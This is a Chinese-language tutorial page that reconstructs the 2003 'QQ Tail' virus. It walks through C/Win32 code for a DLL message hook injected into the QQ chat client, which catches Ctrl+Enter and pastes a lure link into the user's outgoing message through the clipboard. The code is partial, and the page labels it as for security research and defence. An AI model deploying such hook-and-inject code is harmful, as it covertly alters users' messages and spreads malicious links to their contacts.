首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> VC 教學

「QQ尾巴」病毒技術原理深度解析:Hook 機制與剪貼板注入

     編輯:VC 教學

背景

2003 年「QQ尾巴」病毒利用 IE 郵件頭漏洞在 QQ 傳播。受害者發送訊息時,病毒自動在文字後附加誘導連結。本文從技術角度還原其核心實現:全域 Hook 攔截發送熱鍵 + 剪貼板注入文字。

核心技術拆解

1. 剪貼板注入文字

TCHAR g_str[] = _T("歡迎來我的小站:https://example.com");
void PasteText(HWND hRichEdit) {
    HGLOBAL hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
    LPTSTR pStr = (LPTSTR)GlobalLock(hMem);
    lstrcpy(pStr, g_str);
    GlobalUnlock(hMem);
    OpenClipboard(NULL);
    EmptyClipboard();
    SetClipboardData(CF_TEXT, hMem);
    CloseClipboard();
    GlobalFree(hMem); // 注意:SetClipboardData 後系統擁有記憶體,此處 Free 實為錯誤示範,正確做法不釋放

    // 發送貼上訊息給 RichEdit
    SendMessage(hRichEdit, WM_PASTE, 0, 0);
}

2. 為何不用 Timer?

Timer 無法精確在使用者按下「發送」或 Ctrl+Enter 瞬間注入,易導致使用者正在輸入時文字突兀出現。病毒採用 鍵盤/訊息 Hook 精準捕捉發送動作。

3. Hook 原理與實作

Windows Hook 允許 DLL 注入目標進程,攔截特定訊息(如 WM_KEYDOWN、WM_COMMAND)。

// DLL 導出函數
HHOOK g_hHook = NULL;
__declspec(dllexport) void InstallHook(HWND hTargetWnd) {
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE, HookProc, g_hInst, GetWindowThreadProcessId(hTargetWnd, NULL));
}
__declspec(dllexport) void UninstallHook() { UnhookWindowsHookEx(g_hHook); }

// Hook 處理函數
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        MSG* pMsg = (MSG*)lParam;
        if (pMsg->message == WM_KEYDOWN && pMsg->wParam == VK_RETURN && (GetKeyState(VK_CONTROL) & 0x8000)) {
            // 偵測到 Ctrl+Enter,尋找 RichEdit 並注入
            HWND hRich = FindRichEdit(pMsg->hwnd);
            if (hRich) PasteText(hRich);
        }
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

安全與倫理警示

本文僅供安全研究與防禦理解。實際部署 Hook 注入屬惡意軟體行為,現代殺毒軟體與 Windows 內核防護(如 CFG、ACG)均會攔截。開發者應專注於正當的自動化測試、輔助工具開發。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved